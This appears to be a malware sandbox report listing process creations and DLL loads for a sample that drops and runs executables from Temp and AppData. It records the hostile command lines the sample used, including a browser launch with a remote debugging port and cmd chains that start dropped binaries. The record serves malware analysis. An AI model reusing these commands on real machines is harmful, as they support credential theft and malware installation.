Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7112 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe "C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe"
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\exploma.exe.exe C:\Users\user\AppData\Local\exploma.exe.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe "C:\Users\user~1\AppData\Local\Temp\1005893001\oi.exe"
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGDBFCGIIIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2220,i,8398956944613471196,4517818318250730757,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2240,i,9997244050873834229,8109525789655161871,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2240,i,9997244050873834229,8109525789655161871,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6804 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7112 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGDBFCGIIIJ.exe "C:\Users\user\DocumentsGDBFCGIIIJ.exe"
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe "C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe "C:\Users\user~1\AppData\Local\Temp\1005893001\oi.exe"
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\exploma.exe.exe C:\Users\user\AppData\Local\exploma.exe.exe
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\exploma.exe.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	Section loaded: iconcodecservice.dll
